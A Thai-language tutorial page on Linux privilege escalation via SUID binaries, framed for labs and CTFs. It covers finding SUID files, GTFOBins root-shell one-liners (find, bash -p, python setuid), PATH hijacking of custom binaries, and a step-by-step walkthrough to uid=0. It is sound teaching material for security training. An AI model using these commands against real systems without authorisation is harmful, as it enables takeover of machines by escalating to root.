SUID Binaries
SUID (Set User ID) เป็น permission bit ที่ทำให้ binary รันด้วยสิทธิ์ของเจ้าของไฟล์ (มัก root) ไม่ใช่ผู้รัน ถ้า SUID binary ทำงานที่ถูก abuse ได้ (เช่นเรียก shell, อ่าน/เขียนไฟล์) ก็ยกระดับเป็น root ได้ บทนี้ลงลึกกลไก SUID, การหา, GTFOBins, เทคนิคแต่ละแบบ, และ custom SUID (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ SUID
ปกติ process รันด้วยสิทธิ์ของผู้เรียก แต่ถ้า binary ตั้ง SUID bit (แสดงเป็น s ในตำแหน่ง execute ของ owner เช่น -rwsr-xr-x) มันจะรันด้วยสิทธิ์ของเจ้าของไฟล์ — ถ้าเจ้าของคือ root, binary นั้นรันเป็น root แม้ user ธรรมดาเรียก จุดประสงค์เดิมคือให้ทำงานที่ต้องสิทธิ์สูง (เช่น passwd แก้ /etc/shadow) แต่ถ้า SUID binary มีฟังก์ชันที่ abuse ได้ ก็ยกระดับเป็น root
2. หา SUID binaries
# หา SUID binaries ทั้งหมด
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# แสดงรายละเอียด (ดู owner)
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# โฟกัสที่ไม่ใช่ binary มาตรฐาน (เทียบกับ list ปกติ)
# binary ปกติ: ping, su, sudo, passwd, mount, umount...
# อะไรที่แปลก/ไม่คุ้น = น่าสนใจ3. GTFOBins — คู่มือ abuse
GTFOBins (gtfobins.github.io) เป็นฐานข้อมูลวิธี abuse binary ทั่วไปเพื่อ privesc — ค้นชื่อ binary ที่เจอ ถ้ามีหน้า 'SUID' แสดงว่า abuse ได้ พร้อมคำสั่งสำเร็จรูป
# find (SUID) → รัน command เป็น root
./find . -exec /bin/sh -p \; -quit
# -p สำคัญ! รักษา privilege (ไม่ drop เป็น user)
# bash (SUID)
./bash -p # ได้ shell เป็น root
# cp (SUID) → เขียนทับไฟล์สำคัญ (เช่น /etc/passwd)
# vim/nano (SUID) → รัน shell จากใน editor
# less/more (SUID) → !/bin/sh
# python (SUID)
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# awk/perl/env/nmap... แต่ละตัวมีวิธีใน GTFOBins4. Custom SUID binary
โจทย์ CTF มักมี custom SUID binary ที่เขียนเอง — ต้องวิเคราะห์ว่ามันทำอะไรแล้วหาช่องโหว่:
- เรียก command โดยไม่ใส่ full path: เช่นเรียก
catแทน/bin/cat→ PATH Hijacking (ดูหัวข้อ) - เรียก system()/popen() กับ input ที่ควบคุมได้: command injection
- อ่าน/เขียนไฟล์เป็น root: อ่าน /etc/shadow, เขียน /etc/passwd
- buffer overflow: ถ้า binary มีช่องโหว่ → exploit เป็น root (ดูหมวด Pwn)
- วิเคราะห์: strings, ltrace, หรือ decompile (Ghidra) ดูว่าเรียกอะไร
# ดูว่าเรียกอะไร
strings ./custom_suid
ltrace ./custom_suid # เห็น system/exec call + argument
# ถ้าเรียก command ไม่ใส่ path → PATH hijack:
# export PATH=/tmp:$PATH; echo '/bin/sh' > /tmp/cmdname; chmod +x /tmp/cmdname
# ถ้ามี input → ลอง command injection / overflow5. Quick Reference
- SUID = รันด้วยสิทธิ์เจ้าของไฟล์ (มัก root); แสดงเป็น 's'
- หา: find / -perm -4000 -type f 2>/dev/null
- abuse: ค้น GTFOBins ตามชื่อ binary (section SUID)
- shell: ./find . -exec /bin/sh -p \; / ./bash -p (-p รักษา privilege)
- custom SUID: strings/ltrace → PATH hijack / injection / overflow
- เรียก command ไม่ใส่ full path → PATH Hijacking
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ shell แรก ลอง sudo -l แล้วไม่มีทาง มีแค่ Kali เปล่าๆ ลองเช็ค SUID เป็นด่านต่อไปเพราะเป็นช่องทางที่พบบ่อยและง่ายสุดถ้าตรงกับ GTFOBins ทำตามนี้ทีละขั้น
- 1พิมพ์ find / -perm -4000 -type f 2>/dev/null รอสแกนทั้งระบบสักครู่
- 2ไล่ดู list ที่ได้ เทียบกับ binary มาตรฐาน (ping, su, sudo, passwd, mount, umount) — ตัวไหนไม่คุ้นให้จดไว้
- 3เปิดเบราว์เซอร์ไปที่ gtfobins.github.io พิมพ์ชื่อ binary ที่ไม่คุ้น (หรือแม้แต่ตัวคุ้นๆ ก็เช็คได้) ดูว่ามี section SUID ไหม
- 4ถ้ามี ให้ copy one-liner จาก GTFOBins มารันตรงๆ เช่น ./find . -exec /bin/sh -p \; -quit
- 5สำคัญ: ต้องมี -p ต่อท้าย shell เสมอ เพื่อรักษา privilege ไม่ให้ drop กลับเป็น user เดิม
- 6พิมพ์ id ทันทีหลังได้ shell ใหม่ ต้องเห็น uid=0(root)
- 7ถ้าไม่มีใน GTFOBins (เป็น custom binary) ให้พิมพ์ strings ./custom_suid ดูว่ามันเรียกอะไร
- 8พิมพ์ ltrace ./custom_suid ดู system()/exec() call พร้อม argument จริง
- 9ถ้าเรียก command แบบไม่ใส่ full path ให้ไปทำ PATH hijack ต่อ ถ้ามี input ที่ควบคุมได้ให้ลอง command injection
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา SUID binary ทั้งหมด | find | - | - |
| เทียบวิธี abuse ตาม binary มาตรฐาน | - | - | gtfobins.github.io |
| วิเคราะห์ custom SUID binary | strings, ltrace | - | - |
| decompile ถ้าซับซ้อน | - | ghidra | dogbolt.org |
| enumeration เสริม | - | linpeas | - |
| หา exploit เพิ่มเติม | searchsploit | - | exploit-db.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้